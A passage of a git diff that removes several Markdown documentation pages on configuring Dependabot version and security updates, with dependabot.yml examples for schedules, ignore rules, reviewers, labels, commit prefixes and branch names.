-updates: - # Keep npm dependencies up to date - - package-ecosystem: "npm" - directory: "/" - schedule: - interval: "weekly" -# Raise all npm pull requests for security and version updates with custom labels - labels: - - "npm dependencies" - - "triage-board" - # Raise all npm pull requests for security and version updates with reviewers - reviewers: - - "my-org/team-name" - - "octocat"{% ifversion dependabot-grouped-security-updates-config %} - groups: - angular: - # Group security updates for Angular dependencies into a single pull request - applies-to: security-updates - patterns: - - "@angular*" - production-dependencies: - # Group version updates for dependencies of type "production" into a single pull request - applies-to: version-updates - dependency-type: "production"{%- endif %} -``` - -## Further reading - -* [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference) -* [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot) diff --git a/content/code-security/dependabot/dependabot-security-updates/index.md b/content/code-security/dependabot/dependabot-security-updates/index.md deleted file mode 100644 index 3877a1c866f8..000000000000 --- a/content/code-security/dependabot/dependabot-security-updates/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Automatically updating dependencies with known vulnerabilities with Dependabot security updates -intro: '{% data variables.product.prodname_dependabot %} can help you fix vulnerable dependencies by automatically raising pull requests to update dependencies to secure versions.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Repositories - - Dependabot - - Security updates - - Dependencies - - Pull requests -shortTitle: Dependabot security updates -children: - - /about-dependabot-security-updates - - /configuring-dependabot-security-updates - - /customizing-dependabot-security-prs ---- diff --git a/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md b/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md deleted file mode 100644 index ecccfa69faab..000000000000 --- a/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: About Dependabot version updates -intro: 'You can use {% data variables.product.prodname_dependabot %} to keep the packages you use updated to the latest versions.' -product: '{% data reusables.gated-features.dependabot-version-updates %}' -redirect_from: - - /github/administering-a-repository/about-dependabot - - /github/administering-a-repository/about-github-dependabot - - /github/administering-a-repository/about-github-dependabot-version-updates - - /github/administering-a-repository/about-dependabot-version-updates - - /code-security/supply-chain-security/about-dependabot-version-updates - - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot - - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Dependabot - - Version updates - - Repositories - - Dependencies - - Pull requests -shortTitle: Dependabot version updates ---- - -{% data reusables.dependabot.enterprise-enable-dependabot %} - -## About {% data variables.product.prodname_dependabot_version_updates %} - -{% data variables.product.prodname_dependabot %} takes the effort out of maintaining your dependencies. You can use it to ensure that your repository automatically keeps up with the latest releases of the packages and applications it depends on. - -{% data reusables.dependabot.dependabot-updates-supported-repos-ecosystems %} - -You enable {% data variables.product.prodname_dependabot_version_updates %} by checking a `dependabot.yml` configuration file into your repository. The configuration file specifies the location of the manifest, or of other package definition files, stored in your repository. {% data variables.product.prodname_dependabot %} uses this information to check for outdated packages and applications. {% data variables.product.prodname_dependabot %} determines if there is a new version of a dependency by looking at the semantic versioning ([semver](https://semver.org/)) of the dependency to decide whether it should update to that version. For certain package managers, {% data variables.product.prodname_dependabot_version_updates %} also supports vendoring. Vendored (or cached) dependencies are dependencies that are checked in to a specific directory in a repository rather than referenced in a manifest. Vendored dependencies are available at build time even if package servers are unavailable. {% data variables.product.prodname_dependabot_version_updates %} can be configured to check vendored dependencies for new versions and update them if necessary. - -When {% data variables.product.prodname_dependabot %} identifies an outdated dependency, it raises a pull request to update the manifest to the latest version of the dependency. For vendored dependencies, {% data variables.product.prodname_dependabot %} raises a pull request to replace the outdated dependency with the new version directly. You check that your tests pass, review the changelog and release notes included in the pull request summary, and then merge it. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). - -If you enable _security updates_, {% data variables.product.prodname_dependabot %} also raises pull requests to update vulnerable dependencies. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - -{% data reusables.dependabot.pull-request-security-vs-version-updates %} - -{% data reusables.dependabot.dependabot-updates-signed-commits %} - -{% data reusables.dependabot.dependabot-updates-prs-and-actions %} - -{% ifversion dependabot-on-actions-opt-in %}{% data reusables.dependabot.dependabot-updates-and-actions %} For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners).{% endif %} - -{% data reusables.dependabot.dependabot-tos %} - -## Frequency of {% data variables.product.prodname_dependabot %} pull requests - -You specify how often to check each ecosystem for new versions in the configuration file: daily, weekly, or monthly. - -{% data reusables.dependabot.initial-updates %} For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/optimizing-pr-creation-version-updates). - -If you've enabled security updates, you'll sometimes see extra pull requests for security updates. These are triggered by a {% data variables.product.prodname_dependabot %} alert for a dependency on your default branch. {% data variables.product.prodname_dependabot %} automatically raises a pull request to update the vulnerable dependency. - -{% data reusables.dependabot.version-updates-skip-scheduled-runs %} - -## About automatic deactivation of {% data variables.product.prodname_dependabot_updates %} - -{% data reusables.dependabot.automatic-deactivation-link %} - -## About notifications for {% data variables.product.prodname_dependabot %} version updates - -You can filter your notifications on {% data variables.product.company_short %} to show notifications for pull requests created by {% data variables.product.prodname_dependabot %}. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox). diff --git a/content/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates.md b/content/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates.md deleted file mode 100644 index 085e7b43911f..000000000000 --- a/content/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates.md +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: Configuring Dependabot version updates -intro: 'You can configure your repository so that {% data variables.product.prodname_dependabot %} automatically updates the packages you use.' -permissions: '{% data reusables.permissions.dependabot-yml-configure %}' -redirect_from: - - /github/administering-a-repository/enabling-and-disabling-version-updates - - /code-security/supply-chain-security/enabling-and-disabling-version-updates - - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-version-updates - - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Version updates - - Repositories - - Dependencies - - Pull requests -shortTitle: Configure version updates ---- -<!--Marketing-LINK: From /features/security/software-supply-chain page "About version updates for dependencies".--> -{% data reusables.dependabot.enterprise-enable-dependabot %} - -## About version updates for dependencies - -You enable {% data variables.product.prodname_dependabot_version_updates %} by checking a `dependabot.yml` configuration file in to your repository's `.github` directory. {% data variables.product.prodname_dependabot %} then raises pull requests to keep the dependencies you configure up-to-date. For each package manager's dependencies that you want to update, you must specify the location of the package manifest files and how often to check for updates to the dependencies listed in those files. For information about enabling security updates, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates). - -{% data reusables.dependabot.initial-updates %} For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/optimizing-pr-creation-version-updates). - -{% data reusables.dependabot.version-updates-skip-scheduled-runs %} - -By default only direct dependencies that are explicitly defined in a manifest are kept up to date by {% data variables.product.prodname_dependabot_version_updates %}. You can choose to receive updates for indirect dependencies defined in lock files. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated#allowing-specific-dependencies-to-be-updated). - -{% data reusables.dependabot.private-dependencies-note %} Additionally, {% data variables.product.prodname_dependabot %} doesn't support private {% data variables.product.prodname_dotcom %} dependencies for all package managers. For more information, see [AUTOTITLE](/code-security/dependabot/ecosystems-supported-by-dependabot/supported-ecosystems-and-repositories) and [AUTOTITLE](/get-started/learning-about-github/github-language-support). - -## Enabling {% data variables.product.prodname_dependabot_version_updates %} - -You enable {% data variables.product.prodname_dependabot_version_updates %} by committing a `dependabot.yml` configuration file to your repository. -{% ifversion dependabot-settings-update-37 %}If you enable the feature in your settings page, GitHub creates a basic file which you can edit, otherwise you can create the file using any file editor. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of "{% data variables.product.prodname_dependabot_version_updates %}", click **Enable** to open a basic `dependabot.yml` configuration file in the `.github` directory of your repository. {% data reusables.dependabot.link-to-yml-config-file %} -{% else %} -1. Create a `dependabot.yml` configuration file in the `.github` directory of your repository. You can use the snippet below as a starting point. {% data reusables.dependabot.link-to-yml-config-file %} -{% endif %} - - ```yaml copy - # To get started with Dependabot version updates, you'll need to specify which - # package ecosystems to update and where the package manifests are located. - - version: 2 - updates: - - package-ecosystem: "" # See documentation for possible values - directory: "/" # Location of package manifests - schedule: - interval: "weekly" - ``` - -1. Add a `version`. This key is mandatory. The file must start with `version: 2`. -1. Optionally, if you have dependencies in a private registry, add a `registries` section containing authentication details. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot). -1. Add an `updates` section, with an entry for each package manager you want {% data variables.product.prodname_dependabot %} to monitor. This key is mandatory. You use it to configure how {% data variables.product.prodname_dependabot %} updates the versions or your project's dependencies. Each entry configures the update settings for a particular package manager. For more information, see [About the dependabot.yml file](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#about-the-dependabotyml-file) in "{% data variables.product.prodname_dependabot %} options reference." -1. For each package manager, use: - - * `package-ecosystem` to specify the package manager. For more information about the supported package managers, see [`package-ecosystem`](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#package-ecosystem). - * {% ifversion dependabot-updates-multidirectory-support %}`directories` or {% endif %}`directory` to specify the location of multiple manifest or other definition files.{% ifversion dependabot-updates-multidirectory-support %} For more information, see [Defining multiple locations for manifest files](/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated#defining-multiple-locations-for-manifest-files).{% endif %} - * `schedule.interval` to specify how often to check for new versions. - -{% data reusables.dependabot.check-in-dependabot-yml %} - -### Example `dependabot.yml` file - -The example `dependabot.yml` file below configures version updates for three package managers: npm, Docker, and {% data variables.product.prodname_actions %}. When this file is checked in, {% data variables.product.prodname_dependabot %} checks the manifest files on the default branch for outdated dependencies. If it finds outdated dependencies, it will raise pull requests against the default branch to update the dependencies. - -```yaml copy -# Basic `dependabot.yml` file with -# minimum configuration for three package managers - -version: 2 -updates: - # Enable version updates for npm - - package-ecosystem: "npm" - # Look for `package.json` and `lock` files in the `root` directory - directory: "/" - # Check the npm registry for updates every day (weekdays) - schedule: - interval: "daily" - - # Enable version updates for Docker - - package-ecosystem: "docker" - # Look for a `Dockerfile` in the `root` directory - directory: "/" - # Check for updates once a week - schedule: - interval: "weekly" - - # Enable version updates for GitHub Actions - - package-ecosystem: "github-actions" - # Workflow files stored in the default location of `.github/workflows` - # You don't need to specify `/.github/workflows` for `directory`. You can use `directory: "/"`. - directory: "/" - schedule: - interval: "weekly" -``` - -In the example above, if the Docker dependencies were very outdated, you might want to start with a `daily` schedule until the dependencies are up-to-date, and then drop back to a weekly schedule. - -### Enabling version updates on forks - -If you want to enable version updates on forks, there's an extra step. Version updates are not automatically enabled on forks when a `dependabot.yml` configuration file is present. This ensures that fork owners don't unintentionally enable version updates when they pull changes including a `dependabot.yml` configuration file from the original repository. - -On a fork, you also need to explicitly enable {% data variables.product.prodname_dependabot %}. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of "{% data variables.product.prodname_dependabot_version_updates %}", click **Enable** to allow {% data variables.product.prodname_dependabot %} to initiate version updates. - -## Checking the status of version updates - -After you enable version updates, the **Dependabot** tab in the dependency graph for the repository is populated. This tab shows which package managers {% data variables.product.prodname_dependabot %} is configured to monitor and when {% data variables.product.prodname_dependabot %} last checked for new versions. - -![Screenshot of the Dependency graph page. A tab, titled "{% data variables.product.prodname_dependabot %}", is highlighted with an orange outline.](/assets/images/help/dependabot/dependabot-tab-view.png) - -For information, see [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/listing-dependencies-configured-for-version-updates). - -## Disabling {% data variables.product.prodname_dependabot_version_updates %} - -You can disable version updates entirely by deleting the `dependabot.yml` file from your repository. More usually, you want to disable updates temporarily for one or more dependencies, or package managers. - -* Package managers: disable by setting `open-pull-requests-limit: 0` or by commenting out the relevant `package-ecosystem` in the configuration file. -* Specific dependencies: disable by adding `ignore` attributes for packages or applications that you want to exclude from updates. - -When you disable dependencies, you can use wild cards to match a set of related libraries. You can also specify which versions to exclude. This is particularly useful if you need to block updates to a library, pending work to support a breaking change to its API, but want to get any security fixes to the version you use. - -### Example disabling version updates for some dependencies - -The example `dependabot.yml` file below includes examples of the different ways to disable updates to some dependencies, while allowing other updates to continue. - -```yaml -# `dependabot.yml` file with updates -# disabled for Docker and limited for npm - -version: 2 -updates: - # Configuration for Dockerfile - - package-ecosystem: "docker" - directory: "/" - schedule: - interval: "weekly" - # Disable all pull requests for Docker dependencies - open-pull-requests-limit: 0 - - # Configuration for npm - - package-ecosystem: "npm" - directory: "/" - schedule: - interval: "weekly" - ignore: - # Ignore updates to packages that start with 'aws' - # Wildcards match zero or more arbitrary characters - - dependency-name: "aws*" - # Ignore some updates to the 'express' package - - dependency-name: "express" - # Ignore only new versions for 4.x and 5.x - versions: ["4.x", "5.x"] - # For all packages, ignore all patch updates - - dependency-name: "*" - update-types: ["version-update:semver-patch"] -``` - -For more information about checking for existing ignore preferences, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#ignore). diff --git a/content/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated.md b/content/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated.md deleted file mode 100644 index 69de735a7eef..000000000000 --- a/content/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated.md +++ /dev/null @@ -1,297 +0,0 @@ ---- -title: Controlling which dependencies are updated by Dependabot -intro: 'Learn how to configure your `dependabot.yml` file so that {% data variables.product.prodname_dependabot %} automatically updates the packages you specify, in the way you define.' -allowTitleToDifferFromFilename: true -permissions: '{% data reusables.permissions.dependabot-yml-configure %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Version updates - - Repositories - - Dependencies - - Pull requests -shortTitle: Control dependency update ---- - -You can customize your {% data variables.product.prodname_dependabot %} configuration to suit your needs, by adding options to your `dependabot.yml` file. For example, you can make sure that {% data variables.product.prodname_dependabot %} uses the correct package manifest files, and updates only the dependencies you want maintained. - -This article collates customization options you may find useful. - -{% ifversion dependabot-updates-multidirectory-support %} - -## Defining multiple locations for manifest files - -If you want to enable {% data variables.product.prodname_dependabot_version_updates %} for manifest files stored in more than one location, you can use `directories` in place of `directory`. For example, this configuration sets two different update schedules for manifest files stored in different directories. - -```yaml copy -# Specify the locations of the manifest files to update for each package manager -# using both `directories` and `directory` - -version: 2 -updates: - - package-ecosystem: "bundler" - # Update manifest files stored in these directories weekly - directories: - - "/frontend" - - "/backend" - - "/admin" - schedule: - interval: "weekly" - - package-ecosystem: "bundler" - # Update manifest files stored in the root directory daily - directory: "/" - schedule: - interval: "daily" -``` - -* To specify a range of directories using a pattern - - ```yaml copy - # Specify the root directory and directories that start with "lib-", - # using globbing, for locations of manifest files - - version: 2 - updates: - - package-ecosystem: "composer" - directories: - - "/" - - "/lib-*" - schedule: - interval: "weekly" - ``` - -* To specify manifests in the current directory and recursive subdirectories - - ```yaml copy - # Specify all directories from the current layer and below recursively, - # using globstar, for locations of manifest files - - version: 2 - updates: - - package-ecosystem: "composer" - directories: - - "**/*" - schedule: - interval: "weekly" - ``` - -{% endif %} - -## Ignoring specific dependencies - -If you are not ready to adopt changes from certain dependencies in your project, you can configure {% data variables.product.prodname_dependabot %} to ignore those dependencies when it opens pull requests for version updates{% ifversion dependabot-grouped-security-updates-config %} and security updates{% endif %}. You can do this using one of the following methods. - -* Configure the `ignore` option for the dependency in your `dependabot.yml` file. - * **You can use this to ignore updates for specific dependencies, versions, and types of updates.** - * For more information, see `ignore` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#ignore--). -* Use `@dependabot ignore` comment commands on a {% data variables.product.prodname_dependabot %} pull request for version updates{% ifversion dependabot-grouped-security-updates-config %} and security updates{% endif %}. - * **You can use comment commands to ignore updates for specific dependencies and versions.** - * For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands). - -Here are some examples showing how `ignore` can be used to customize which dependencies are updated. - -* To ignore updates beyond a specific version - - ```yaml copy - ignore: - - dependency-name: "lodash:*" - # Ignore versions of Lodash that are equal to or greater than 1.0.0 - versions: [ ">=1.0.0" ] - ``` - - ```yaml copy - ignore: - - dependency-name: "sphinx" - versions: [ "[1.1,)" ] - ``` - -* To ignore patch updates - - ```yaml copy - ignore: - - dependency-name: "@types/node" - # Ignore patch updates for Node - update-types: ["version-update:semver-patch"] - ``` - -* To ignore specific versions or version ranges, see [Ignoring specific versions or ranges of versions](#ignoring-specific-versions-or-ranges-of-versions). - -If you want to un-ignore a dependency or ignore condition, you can delete the ignore conditions from the `dependabot.yml` file or reopen the pull request. - -For pull requests for grouped {% ifversion dependabot-grouped-security-updates-config %}{% else %}version {% endif %}updates, you can also use `@dependabot unignore` comment commands. The `@dependabot unignore` comment commands enable you to do the following by commenting on a {% data variables.product.prodname_dependabot %} pull request: - -* Un-ignore a specific ignore condition -* Un-ignore a specific dependency -* Un-ignore all ignore conditions for all dependencies in a {% data variables.product.prodname_dependabot %} pull request - -{% ifversion dependabot-grouped-security-updates-config %}{% else %} - -> [!NOTE] -> The `@dependabot unignore` comment commands only work on pull requests for grouped version updates. - -{% endif %} - -For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-for-grouped-{% ifversion dependabot-grouped-security-updates-config %}{% else %}version-{% endif %}updates-with-comment-commands). - -## Allowing specific dependencies to be updated - -You can use `allow` to tell {% data variables.product.prodname_dependabot %} about the dependencies you want to maintain. `allow` is usually used in conjunction with `ignore`. - -For more information, see `allow` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#allow--). - -By default, {% data variables.product.prodname_dependabot %} creates version update pull requests only for the dependencies that are explicitly defined in a manifest (`direct` dependencies). This configuration uses `allow` to tell {% data variables.product.prodname_dependabot %} that we want it to maintain `all` types of dependency. That is, both the `direct` dependencies and their dependencies (also known as indirect dependencies, sub-dependencies, or transient dependencies). In addition, the configuration tells {% data variables.product.prodname_dependabot %} to ignore all dependencies with a name matching the pattern `org.xwiki.*` because we have a different process for maintaining them. - -> [!TIP] -> {% data variables.product.prodname_dependabot %} checks for all **allowed** dependencies, then filters out any **ignored** dependencies. If a dependency is matched by an **allow** and an **ignore** statement, then it is ignored. - -```yaml copy -version: 2 -registries: - # Helps find updates for non Maven Central dependencies - maven-xwiki-public: - type: maven-repository - url: https://nexus.xwiki.org/nexus/content/groups/public/ - username: "" - password: "" - # Required to resolve xwiki-common SNAPSHOT parent pom - maven-xwiki-snapshots: - type: maven-repository - url: https://maven.xwiki.org/snapshots - username: "" - password: "" -updates: - - package-ecosystem: "maven" - directory: "/" - registries: - - maven-xwiki-public - - maven-xwiki-snapshots - schedule: - interval: "weekly" - allow: - # Allow both direct and indirect updates for all packages. - - dependency-type: "all" - ignore: - # Ignore XWiki dependencies. We have a separate process for updating them - - dependency-name: "org.xwiki.*" - open-pull-requests-limit: 15 -``` - -## Ignoring specific versions or ranges of versions - -You can use `versions` in conjunction with `ignore` to ignore specific versions or ranges of versions. - -For more information, see `versions` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#versions-ignore). - -* To ignore a specific version - - ```yaml copy - ignore: - - dependency-name: "django*" - # Ignore version 11 - versions: [ "11" ] - ``` - -* To ignore a range of versions - - ```yaml copy - ignore: - - dependency-name: "@types/node" - versions: ["15.x", "14.x", "13.x"] - - dependency-name: "xdg-basedir" - # 5.0.0 has breaking changes as they switch to named exports - # and convert the module to ESM - # We can't use it until we switch to ESM across the project - versions: ["5.x"] - - dependency-name: "limiter" - # 2.0.0 has breaking changes - # so we want to delay updating. - versions: ["2.x"] - ``` - -## Specifying the semantic versioning level to ignore - -You can specify one or more semantic versioning (SemVer) levels to ignore using `update-types`. - -For more information, see `update-types` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#update-types-ignore). - -In this example, {% data variables.product.prodname_dependabot %} will ignore patch versions for Node. - -```yaml copy -version: 2 -updates: - - package-ecosystem: "npm" - directory: "/" - schedule: - interval: "daily" - ignore: - - dependency-name: "express" - # For Express, ignore all updates for version 4 and 5 - versions: ["4.x", "5.x"] - # For Lodash, ignore all updates - - dependency-name: "lodash" - - dependency-name: "@types/node" - # For Node types, ignore any patch versions - update-types: ["version-update:semver-patch"] -``` - -## Defining a versioning strategy - -By default, {% data variables.product.prodname_dependabot %} tries to increase the minimum version requirement for dependencies it identifies as apps, and widens the allowed version requirements to include both the new and old versions for dependencies it identifies as libraries. - -You can change this default strategy. For more information, see `versioning-strategy` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#versioning-strategy--). - -In this example, {% data variables.product.prodname_dependabot %} will increase the minimum version requirement to match the new version for both apps and libraries. - -```yaml copy -version: 2 -updates: - - package-ecosystem: npm - directory: "/" - schedule: - interval: daily - # Increase the minimum version for all npm dependencies - versioning-strategy: increase -``` - -In this example, {% data variables.product.prodname_dependabot %} will **only** increase the minimum version requirement if the original constraint does not allow the new version. - -```yaml copy -version: 2 -updates: -- package-ecosystem: pip - directory: "/" - schedule: - interval: daily - open-pull-requests-limit: 20 - rebase-strategy: "disabled" - # Increase the version requirements for npm - # only when required - versioning-strategy: increase-if-necessary -``` - -## Updating vendored dependencies - -You can instruct {% data variables.product.prodname_dependabot %} to vendor specific dependencies when updating them. - -{% data variables.product.prodname_dependabot %} automatically maintains vendored dependencies for Go modules, and you can configure Bundler to also update vendored dependencies. - -For more information, see `vendor` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#vendor--). - -In this example, `vendor` is set to `true` for Bundler, which means that {% data variables.product.prodname_dependabot %} will also maintain dependencies for Bundler that are stored in the _vendor/cache_ directory in the repository. - -```yaml copy -version: 2 -updates: -- package-ecosystem: bundler - directory: "/" - # Vendoring Bundler - vendor: true - schedule: - interval: weekly - day: saturday - open-pull-requests-limit: 10 -``` diff --git a/content/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs.md b/content/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs.md deleted file mode 100644 index 134cbee26b3b..000000000000 --- a/content/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs.md +++ /dev/null @@ -1,248 +0,0 @@ ---- -title: Customizing Dependabot pull requests to fit your processes -intro: 'Learn how to tailor your Dependabot pull requests to better suit your own internal workflows.' -allowTitleToDifferFromFilename: true -permissions: '{% data reusables.permissions.dependabot-yml-configure %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Version updates - - Repositories - - Dependencies - - Pull requests -shortTitle: Customize Dependabot PRs ---- - -There are various ways to customize your {% data variables.product.prodname_dependabot %} pull requests so that they better suit your own internal processes. - -For example: -* To maximize efficiency, {% data variables.product.prodname_dependabot %} can automatically add specific individuals or teams as **reviewers** to its pull requests for a particular package ecosystem. -* To integrate {% data variables.product.prodname_dependabot %}'s pull requests into your CI/CD pipelines, it can apply **custom labels** to pull requests, which you can then use to trigger action workflows. - -There are several different customization options which can all be used in combination, and tailored per package ecosystem. - -## Automatically adding reviewers and assignees - -By default, {% data variables.product.prodname_dependabot %} raises pull requests without any reviewers or assignees. - -However, you may want pull requests to be consistently reviewed or dealt with by a specific individual or team that has expertise in that package ecosystem, or automatically assigned to a designated security team. In which case, you can use `reviewers` and `assignees` to set these values per package ecosystem. - -The example `dependabot.yml` file below changes the npm configuration so that all pull requests opened with version and security updates for npm have: -* A team ("`my-org/team-name`") and an individual ("`octocat`") automatically added as reviewers to the pull requests. -* An individual ("`user-name`") automatically assigned to the pull requests. - -```yaml copy -# `dependabot.yml` file with -# reviews and an assignee for all npm pull requests - -version: 2 -updates: - # Keep npm dependencies up to date - - package-ecosystem: "npm" - directory: "/" - schedule: - interval: "weekly" - # Raise all npm pull requests with reviewers - reviewers: - - "my-org/team-name" - - "octocat" - # Raise all npm pull requests with assignees - assignees: - - "user-name" -``` - -{% data reusables.dependabot.option-affects-security-updates %} - -See also [`assignees`](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#assignees--) and [`reviewers`](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#reviewers--). - -## Labeling pull requests with custom labels - -{% data reusables.dependabot.default-labels %} - -You can use `labels` to override the default labels and specify your own custom labels per package ecosystem. This is useful if, for example, you want to: -* Use labels to assign a priority to certain pull requests. -* Use labels to trigger another workflow, such as automatically adding the pull request onto a project board. - -The example `dependabot.yml` file below changes the npm configuration so that all pull requests opened with version and security updates for npm have custom labels. - -```yaml copy -# `dependabot.yml` file with -# customized npm configuration - -version: 2 -updates: - # Keep npm dependencies up to date - - package-ecosystem: "npm" - directory: "/" - schedule: - interval: "weekly" - # Raise all npm pull requests with custom labels - labels: - - "npm dependencies" - - "triage-board" -``` - -{% data reusables.dependabot.option-affects-security-updates %} - -See also [`labels`](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#labels--). - -## Adding a prefix to commit messages - -By default, {% data variables.product.prodname_dependabot %} attempts to detect your commit message preferences and use similar patterns. In addition, {% data variables.product.prodname_dependabot %} populates the titles of pull requests based on the commit messages. - -You can specify your own prefix for {% data variables.product.prodname_dependabot %}'s commit messages (and pull request titles) for a specific package ecosystem. This can be useful if, for example, you're running automations that process commit messages or pull requests titles. - -To specify your preferences explicitly, use `commit-message` together with the following supported options: - -* `prefix`: - * Specifies a prefix for all commit messages. - * Prefix is also added to the start of the pull request title. -* `prefix-development`: - * Specifies a separate prefix for all commit messages that update development dependencies, as defined by the package manager or ecosystem. - * Supported for `bundler`, `composer`, `mix`, `maven`, `npm`, and `pip`. -* `include: "scope"`: - * Specifies that any prefix is followed by the dependency types (`deps` or `deps-dev`) updated in the commit. - -The example below shows several different options, tailored per package ecosystem: - -```yaml copy -# Customize commit messages - -version: 2 -updates: - - package-ecosystem: "npm" - directory: "/" - schedule: - interval: "weekly" - commit-message: - # Prefix all commit messages with "npm: " - prefix: "npm" - - - package-ecosystem: "docker" - directory: "/" - schedule: - interval: "weekly" - commit-message: - # Prefix all commit messages with [docker] " (no colon, but a trailing whitespace) - prefix: "[docker] " - - - package-ecosystem: "composer" - directory: "/" - schedule: - interval: "weekly" - # Prefix all commit messages with "Composer" plus its scope, that is, a - # list of updated dependencies - commit-message: - prefix: "Composer" - include: "scope" - - - package-ecosystem: "pip" - directory: "/" - schedule: - interval: "weekly" - # Include a list of updated dependencies - # with a prefix determined by the dependency group - commit-message: - prefix: "pip prod" - prefix-development: "pip dev" -``` - -{% data reusables.dependabot.option-affects-security-updates %} - -See also [`commit-message`](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#commit-message--). - -## Associating pull requests with a milestone - -Milestones help you track the progress of groups of pull requests (or issues) towards a project goal or release. With {% data variables.product.prodname_dependabot %}, you can use the `milestone` option to associate pull requests for dependency updates with a specific milestone. - -You must specify the numeric identifier of the milestone and not its label. To find the numeric identifier, check the final part of the page URL, after `milestone`. For example, for `https://github.com/<org>/<repo>/milestone/3`, "`3`" is the numeric identifier of the milestone. - -```yaml copy -# Specify a milestone for pull requests - -version: 2 -updates: - - package-ecosystem: "npm" - directory: "/" - schedule: - interval: "weekly" - # Associate pull requests with milestone "4" - milestone: 4 -``` - -{% data reusables.dependabot.option-affects-security-updates %} - -See also [`milestones`](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#milestones--) and [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/about-milestones). - -## Changing the separator in the pull request branch name - -{% data variables.product.prodname_dependabot %} generates a branch for each pull request. Each branch name includes `dependabot`, as well as the name of the package manager and the dependency to be updated. By default, these parts of the branch name are separated by a `/` symbol, for example: -* `dependabot/npm_and_yarn/next_js/acorn-6.4.1` - -To maintain supportability or consistency with your existing processes, you may need to ensure your branch names align with your team's existing conventions. In this case, you can use `pull-request-branch-name.separator` to specify a different separator, choosing either `_`, `/`, or `"-"`. - -In the below example, the npm configuration changes the default separator from `/` to `"-"`, so that it would appear as such: -* Default (`/`): `dependabot/npm_and_yarn/next_js/acorn-6.4.1` -* Customized (`"-"`): `dependabot-npm_and_yarn-next_js-acorn-6.4.1` - -Note that the hyphen symbol (`"-"`) must be surrounded by quotation marks so that it's not interpreted as starting an empty YAML list. - -```yaml copy -# Specify a different separator for branch names - -version: 2 -updates: - - package-ecosystem: "npm" - directory: "/" - schedule: - interval: "weekly" - pull-request-branch-name: - # Change the default separator (/) to a hyphen (-) - separator: "-" -``` - -{% data reusables.dependabot.option-affects-security-updates %} - -See also [`pull-request-branch-name.separator`](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#pull-request-branch-name.separator--). - -## Targeting pull requests against a non-default branch - -By default, {% data variables.product.prodname_dependabot %} checks for manifest files on the default branch and raises pull requests for updates against the default branch. - 